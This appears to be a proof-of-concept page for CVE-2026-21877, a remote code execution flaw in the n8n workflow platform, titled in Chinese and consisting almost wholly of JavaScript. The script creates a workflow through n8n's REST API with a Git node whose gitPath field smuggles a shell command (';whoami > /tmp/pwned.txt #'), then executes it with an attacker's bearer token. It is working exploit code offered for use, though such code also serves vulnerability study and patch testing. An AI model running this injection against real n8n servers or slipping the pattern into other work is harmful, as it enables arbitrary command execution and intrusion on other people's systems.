CVE-2026-21877 n8n工作流自动化平台远程代码执行漏洞

// CVE-2026-21877 PoC - n8n Git Node Remote Code Execution // This PoC demonstrates how an authenticated attacker can execute arbitrary commands // through the n8n Git node by injecting malicious Git parameters. const axios = require('axios'); // Configuration const N8N_URL = 'http://target-n8n-server:5678'; const ATTACKER_TOKEN = 'your-authenticated-user-token'; // Step 1: Create a malicious workflow with Git node async function createMaliciousWorkflow() { const maliciousCommand = ';whoami > /tmp/pwned.txt #'; const workflow = { name: 'CVE-2026-21877 PoC', nodes: [ { name: 'Git Node', type: 'n8n-nodes-base.git', parameters: { operation: 'clone', repositoryUrl: 'https://github.com/example/repo', gitPath: maliciousCommand, // Malicious injection point branch: 'main' } } ], connections: {} }; try { const response = await axios.post( `${N8N_URL}/rest/workflows`, workflow, { headers: { 'Authorization': `Bearer ${ATTACKER_TOKEN}`, 'Content-Type': 'application/json' } } ); console.log('Malicious workflow created:', response.data.id); return response.data.id; } catch (error) { console.error('Error creating workflow:', error.message); } } // Step 2: Execute the workflow to trigger RCE async function executeWorkflow(workflowId) { try { const response = await axios.post( `${N8N_URL}/rest/workflows/${workflowId}/execute`, {}, { headers: { 'Authorization': `Bearer ${ATTACKER_TOKEN}` } } ); console.log('Workflow executed - RCE triggered'); } catch (error) { console.error('Error executing workflow:', error.message); } } // Main execution (async () => { const workflowId = await createMaliciousWorkflow(); if (workflowId) { await executeWorkflow(workflowId); } })();